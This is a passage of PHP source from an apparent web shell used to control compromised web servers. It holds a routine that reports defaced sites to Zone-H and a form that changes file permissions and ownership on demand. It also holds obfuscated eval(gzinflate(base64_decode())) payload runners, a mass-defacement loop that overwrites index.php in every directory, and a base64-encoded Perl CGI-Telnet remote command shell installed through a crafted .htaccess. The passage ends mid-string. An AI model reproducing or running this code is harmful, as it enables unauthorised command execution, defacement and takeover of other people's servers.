		if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
		ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
		echo "Site : ".$sites[$i]." Defaced !
";
		++$i;
	}
	echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";

	echo \'</center>\';
}

/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'chmod\'))
{	
?>

<form action="?y=<?php echo $pwd; ?>&amp;x=chmod" method="post">
<br><br><br><center>

<form action="" method="get">
<table class="tabnet">
<font color="#333333"><b>Chmod file : &nbsp;&nbsp; &nbsp; &nbsp;&nbsp;</b></font> <input type="text" class="inputz" name="thefile" value="File Name" style="width:110px">
<input class="inputz" type="text" name="thefileval" value="0777" style="width:44px">
<span  style="color: #00000 ;font-family: Tahoma, Geneva, sans-serif;font-size:12px;"></span>
<select class="inputz" name="comm">
<option>chmod</option>
<option>chown</option>
<option>chgrp</option><br>
<input class="inputzbut" type="submit" value="Exsekusi">
</select></table>
</form><br></center><br><br>

<?php
if(isset($_GET[\'thefile\'])){
$file = $_GET[\'thefile\'];
$new = $_GET[\'thefileval\'];
		if($_GET[\'comm\'] == \'chmod\')
		{
			$ch_ok = chmod($file,$new);
			echo "Permission Changed.";
		}
		else if($_GET[\'comm\'] == \'chown\')
		{
			$ch_ok = chown($file,$new);
			echo "Owner Changed.";
		}
		else if($_GET[\'comm\'] == \'chgrp\')
		{
			$ch_ok = chgrp($file,$new);
			echo "Group Changed.";
		}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jumping\')){ 
eval(gzinflate(base64_decode($jumper))); "</div>"; }

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config-scan\')) {
eval(base64_decode($scanconfig));  }

//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'string\')){
$text = $_POST[\'code\'];
?>
<center><form method="post"><br><br><br>
<textarea class=\'inputz\' cols=80 rows=5 name="code"></textarea><br><br>
<select class=\'inputz\' size="1" name="ope">
<option value="base64">Base64</option>
<option value="md5">md5</option>
<option value="whash">Crypt</option>
<option value="SHA1">SHA1</option>
<option value="urlencode">URL Encoding</option>
<option value="md4">md4</option>
<option value="SHA256">SHA256</option>
</select>&nbsp;<input class=\'inputzbut\' type=\'submit\' value=\'encrypt\'></form>

<?php $op = $_POST["ope"];
switch ($op) {case \'base64\': 
$codi=base64_encode($text);
break;case \'md5\' : $codi=md5($text);
break;case \'whash\' : $codi=crypt($text);
break;case \'SHA1\' : $codi=sha1($text);
break;case \'urlencode\' : $codi=urlencode($text);
break;case \'md4\' : $codi=hash("md4",$text);
break;case \'SHA256\' : $codi=hash("sha256",$text);
break;default:break;}echo \'<textarea cols=80 rows=10 class="inputz" readonly>\'.$codi.\'</textarea></center>\';
}

/////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mass\'))
{
echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER[\'PHP_SELF\']?>" method=\'post\'>
<td><table><table class="tabnet" >
<form hethot=\'post\'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class =\'inputz\' type=\'text\' name=\'path\' size=\'60\' value="<?php echo getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>file name</td><td><input class =\'inputz\' type=\'text\' name=\'file\' size=\'60\' value="index.php"></td>
	</tr>
</tr>
<th colspan=\'2\'><b>Index code</b></th><br></table>
<textarea style=\'background:black;outline:none;\' name=\'index\' rows=\'10\' cols=\'67\'>HACKED BY StupidDevils,PATCH YOUR SECURITY SYSTEM</textarea><br>
<center><input class=\'inputzbut\' type=\'submit\' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi\')) { 
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";
 mkdir(\'cgitelnet1\', 0755);
    chdir(\'cgitelnet1\');      
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .cin
AddHandler cgi-script .cin";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgishellizocin = \'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL